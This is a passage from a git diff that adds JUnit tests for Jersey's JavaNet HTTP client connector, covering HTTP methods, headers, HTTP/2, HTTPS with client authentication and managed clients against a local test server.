+                public void failed(Throwable error) {
+                    error.printStackTrace();
+                    latch.countDown();
+                }
+            });
+        }
+        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+        final long toc = System.currentTimeMillis();
+        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+    }
+
+    @Test
+    public void testHead() {
+        Response response = target().path(ROOT_PATH).request().head();
+        assertEquals(200, response.getStatus());
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals("foo/bar", response.getMediaType().toString());
+        assertEquals(0, response.getLength());
+    }
+
+    @Test
+    public void testTextPlainOptions() {
+        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+        final String responseBody = response.readEntity(String.class);
+        _checkAllowContent(responseBody);
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+    @Test
+    public void testMissingResourceNotFound() {
+        Response response;
+
+        response = target().path(ROOT_PATH + "arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+
+        response = target().path(ROOT_PATH).path("arbitrary").request().get();
+        assertEquals(404, response.getStatus());
+        response.close();
+    }
+
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..a2eaa3b
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.net.http.HttpClient;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static java.net.http.HttpClient.Version.HTTP_2;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(JavaNetHttpClientProperties.HTTP_VERSION, HTTP_2).connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testHttp2Presence() {
+        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+        assertTrue(provider instanceof JavaNetHttpConnectorProvider);
+
+        final HttpClient client = ((JavaNetHttpConnectorProvider) provider).getHttpClient(target());
+        assertEquals(HTTP_2, client.version());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..550183c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @POST
+        public String post(
+            @HeaderParam("Transfer-Encoding") String transferEncoding,
+            @HeaderParam("X-CLIENT") String xClient,
+            @HeaderParam("X-WRITER") String xWriter,
+            String entity) {
+            assertEquals("client", xClient);
+            return "POST";
+        }
+
+        @GET
+        public String testUserAgent(@Context HttpHeaders httpHeaders) {
+            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+            if (requestHeader.size() != 1) {
+                return "FAIL";
+            }
+            return requestHeader.get(0);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+        assertEquals(200, response.getStatus());
+        assertTrue(response.hasEntity());
+    }
+
+    /**
+     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+     */
+    @Test
+    public void testUserAgent() {
+        String response = target().path("test").request().get(String.class);
+        assertTrue(response.startsWith("Jersey"),
+                "User-agent header should start with 'Jersey', but was " + response);
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java
new file mode 100644
index 0000000..4f6a035
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpsTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import java.net.URI;
+import java.util.Optional;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLParameters;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class HttpsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HttpsTest.class.getName());
+    private static final String ROOT_PATH = "test";
+
+    @Path(ROOT_PATH)
+    public static class Resource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+    }
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new GrizzlyTestContainerFactory();
+    }
+
+    @Override
+    protected URI getBaseUri() {
+        return UriBuilder.fromUri("https://localhost").port(getPort()).build();
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected Optional<SSLContext> getSslContext() {
+        return Optional.of(SslUtils.createServerSslContext(true, true));
+    }
+
+    @Override
+    protected Optional<SSLParameters> getSslParameters() {
+        SSLParameters serverSslParameters = new SSLParameters();
+        serverSslParameters.setNeedClientAuth(true);
+        return Optional.of(serverSslParameters);
+    }
+
+    private SSLContext clientSslContext() {
+        return SslUtils.createClientSslContext(true, true);
+    }
+
+    @Test
+    public void testConnection() {
+        ClientConfig cc = new ClientConfig()
+                .connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newBuilder()
+            .withConfig(cc)
+            .sslContext(clientSslContext())
+            .register(LoggingFeature.class)
+            .build();
+        Response response = client.target(getBaseUri()).path(ROOT_PATH).request().get();
+        assertEquals(200, response.getStatus());
+        assertEquals("GET", response.readEntity(String.class));
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java
new file mode 100644
index 0000000..8eca289
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ManagedClientTest.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+    /**
+     * Managed client configuration for client A.
+     */
+    @ClientBinding(configClass = MyClientAConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public static @interface ClientA {
+    }
+
+    /**
+     * Managed client configuration for client B.
+     */
+    @ClientBinding(configClass = MyClientBConfig.class)
+    @Documented
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.FIELD, ElementType.PARAMETER})
+    public @interface ClientB {
+    }
+
+    /**
+     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+     * to every method that is annotated with {@link Require &#64;Require} internal feature
+     * annotation.
+     */
+    public static class CustomHeaderFeature implements DynamicFeature {
+
+        /**
+         * A method annotation to be placed on those resource methods to which a validating
+         * {@link CustomHeaderFilter} instance should be added.
+         */
+        @Retention(RetentionPolicy.RUNTIME)
+        @Documented
+        @Target(ElementType.METHOD)
+        public static @interface Require {
+
+            /**
+             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+             */
+            String headerName();
+
+            /**
+             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+             */
+            String headerValue();
+        }
+
+        @Override
+        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+            if (va != null) {
+                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+            }
+        }
+    }
+
+    /**
+     * A filter for appending and validating custom headers.
+     * <p>
+     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+     * </p>
+     * <p>
+     * On the server side, validates that each request has a custom header with a configured name and value.
+     * If the validation fails a HTTP 403 response is returned.
+     * </p>
+     */
+    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+        private final String headerName;
+        private final String headerValue;
+
+        public CustomHeaderFilter(String headerName, String headerValue) {
+            if (headerName == null || headerValue == null) {
+                throw new IllegalArgumentException("Header name and value must not be null.");
+            }
+            this.headerName = headerName;
+            this.headerValue = headerValue;
+        }
+
+        @Override
+        public void filter(ContainerRequestContext ctx) throws IOException { // validate
+            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+                                  .type(MediaType.TEXT_PLAIN)
+                                  .entity(String
+                                  .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+                                  .build());
+            }
+        }
+
+        @Override
+        public void filter(ClientRequestContext ctx) throws IOException { // append
+            ctx.getHeaders().putSingle(headerName, headerValue);
+        }
+    }
+
+    /**
+     * Internal resource accessed from the managed client resource.
+     */
+    @Path("internal")
+    public static class InternalResource {
+
+        @GET
+        @Path("a")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+        public String getA() {
+            return "a";
+        }
+
+        @GET
+        @Path("b")
+        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+        public String getB() {
+            return "b";
+        }
+    }
+
+    /**
+     * A resource that uses managed clients to retrieve values of internal
+     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+     * and require a specific custom header in a request to be set to a specific value.
+     * <p>
+     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+     * with a proper value into the outgoing client requests.
+     * </p>
+     */
+    @Path("public")
+    public static class PublicResource {
+
+        @Uri("a")
+        @ClientA // resolves to <base>/internal/a
+        private WebTarget targetA;
+
+        @GET
+        @Produces("text/plain")
+        @Path("a")
+        public String getTargetA() {
+            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+        }
+
+        @GET
+        @Produces("text/plain")
+        @Path("b")
+        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+            return targetB.request(MediaType.TEXT_PLAIN).get();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+            .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    public static class MyClientAConfig extends ClientConfig {
+
+        public MyClientAConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "a"));
+        }
+    }
+
+    public static class MyClientBConfig extends ClientConfig {
+
+        public MyClientBConfig() {
+            this.register(new CustomHeaderFilter("custom-header", "b"));
+        }
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    /**
+     * Test that a connection via managed clients works properly.
+     *
+     * @throws Exception in case of test failure.
+     */
+    @Test
+    public void testManagedClient() throws Exception {
+        final WebTarget resource = target().path("public").path("{name}");
+        Response response;
+
+        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("a", response.readEntity(String.class));
+
+        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+        assertEquals(200, response.getStatus());
+        assertEquals("b", response.readEntity(String.class));
+    }
+
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java
new file mode 100644
index 0000000..a4837ee
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @POST
+        public String post(String entity) {
+            return entity;
+        }
+
+        @PUT
+        public String put(String entity) {
+            return entity;
+        }
+
+        @PATCH
+        public String patch(String entity) {
+            return entity;
+        }
+
+        @DELETE
+        public String delete() {
+            return "DELETE";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().get().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPut() {
+        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPutAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDelete() {
+        Response response = target(PATH).request().delete();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDeleteAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().delete().get();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPatch() {
+        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+        assertEquals("PATCH", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testOptionsWithEntity() {
+        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+        assertEquals(200, response.getStatus());
+        response.close();
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java
new file mode 100644
index 0000000..6635a61
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+public class NoEntityTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public Response get() {
+            return Response.status(Response.Status.CONFLICT).build();
+        }
+
+        @POST
+        public void post(String entity) {
+        }
+
+        @GET
+        @Path("/success")
+        public Response getSuccessfully() {
+            return Response.status(Response.Status.NO_CONTENT).build();
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetVoidWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetVoid() {
+        WebTarget r = target("test/success");
+        for (int i = 0; i < 5; i++) {
+            r.request().get(void.class);
+        }
+    }
+
+    @Test
+    public void testGetGenericVoid() {
+        WebTarget r = target("test/success");
+        for (int i = 0; i < 5; i++) {
+            r.request().get(new GenericType<Void>() {
+            });
+        }
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+        }
+    }
+
+    @Test
+    public void testPostWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+            cr.close();
+        }
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java
new file mode 100644
index 0000000..a333bd1
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Checks, that an {@code OPTIONS} request may be sent to a {@code GET} endpoint.
+ */
+public class OptionsMethodTest extends AbstractJavaConnectorTest {
+    /**
+     * Sends an {@code OPTIONS} request to the root {@code GET} endpoint and assumes a code 200.
+     */
+    @Test
+    public void testOptionsMethod() {
+        assertThat(this.requestWithEntity("java-connector", "OPTIONS", null).getStatus())
+                .isEqualTo(Response.Status.OK.getStatusCode());
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java
new file mode 100644
index 0000000..e1edc24
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.Response;
